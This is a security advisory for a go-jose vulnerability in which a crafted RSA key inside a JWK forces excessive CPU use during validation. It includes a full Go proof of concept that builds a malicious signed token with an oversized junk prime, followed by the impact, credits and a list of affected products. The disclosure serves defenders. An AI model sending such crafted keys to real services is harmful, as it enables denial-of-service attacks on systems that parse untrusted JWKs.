CVE-2026-116587

About vulnerability

Summary

A crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU.

Details

go-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to crypto/rsa.PrivateKey.Validate(). On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU.

https://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700

Proof of concept

No special configuration of go-jose is required to reproduce this vulnerability.

package main

import (
"encoding/base64"
"encoding/json"
"fmt"
"math/big"
"time"

"github.com/go-jose/go-jose/v4"
)

func main() {
// The RSA parameters can be complete junk. The CPU cost is in validating them.
primeBits := 16384
p := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1))
p.SetBit(p, 0, 1)
n := new(big.Int).Lsh(big.NewInt(1), 2048)
e := big.NewInt(65537)
d := big.NewInt(3)
q := big.NewInt(3)

jwk := map[string]string{
"kty": "RSA",
"n":   base64.RawURLEncoding.EncodeToString(n.Bytes()),
"e":   base64.RawURLEncoding.EncodeToString(e.Bytes()),
"d":   base64.RawURLEncoding.EncodeToString(d.Bytes()),
"p":   base64.RawURLEncoding.EncodeToString(p.Bytes()),
"q":   base64.RawURLEncoding.EncodeToString(q.Bytes()),
}

protected := map[string]any{
"alg": "RS256",
"jwk": jwk,
}
protJSON, _ := json.Marshal(protected)

jws := map[string]string{
"protected": base64.RawURLEncoding.EncodeToString(protJSON),
"payload":   base64.RawURLEncoding.EncodeToString([]byte(`{}`)),
"signature": base64.RawURLEncoding.EncodeToString([]byte("not-a-real-signature")),
}
jwsJSON, _ := json.Marshal(jws)

start := time.Now()
_, err := jose.ParseSigned(string(jwsJSON), []jose.SignatureAlgorithm{jose.RS256})
elapsed := time.Since(start)

fmt.Printf("prime bits: %d\n", primeBits)
fmt.Printf("parse time: %s\n", elapsed)
fmt.Printf("parse error: %v\n", err)
}

Impact

Denial of service vulnerability. Any application that uses go-jose to parse JWKs from untrusted sources is affected and should patch immediately.

Credits

Reported by Yuval Saggie and Mor Weinberger (powered by Echo Frontier)

Affected product:

GoogleCloudPlatform/opentelemetry-operations-go/exporter/metric , Grafana , Loki , MinIO , argocd , containerd/containerd , containerd/imgcrypt , containers/ocicrypt , coreos/go-oidc , etcd-io/etcd/api , etcd-io/etcd/client , go-jose/go-jose , google/s2a-go , googleapis/gax-go , googleapis/go-genproto , googleapis/go-genproto/googleapis/bytestream , googleapis/google-api-go-client , googleapis/google-cloud-go , googleapis/google-cloud-go/auth , googleapis/google-cloud-go/auth/oauth2adapt , googleapis/google-cloud-go/iam , googleapis/google-cloud-go/monitoring , googleapis/google-cloud-go/storage , grafana/authlib , grafana/dataplane/examples , grafana/dataplane/sdata , grafana/grafana-aws-sdk , grafana/grafana-azure-sdk-go , grafana/grafana-google-sdk-go , grafana/grafana-plugin-sdk-go , grafana/grafana/pkg/aggregator , grafana/grafana/pkg/apimachinery , grafana/grafana/pkg/apiserver , grafana/grafana/pkg/storage/unified/apistore , grafana/grafana/pkg/storage/unified/resource , grafana/sqlds , grpc/grpc-go , hashicorp/consul , hashicorp/vault-plugin-auth-alicloud , hashicorp/vault/api , hashicorp/vault/api/auth/gcp , heroku/x , influxdata/telegraf , minio/colorjson , minio/pkg , open-telemetry/opentelemetry-go-contrib/instrumentation/google.golang.org/grpc/otelgrpc , prometheus/prom2json , prometheus/prometheus , spiffe/go-spiffe , testcontainers/testcontainers-go

Affected packages:

github.com/go-jose/go-jose @ 3.0.3 (+78 more)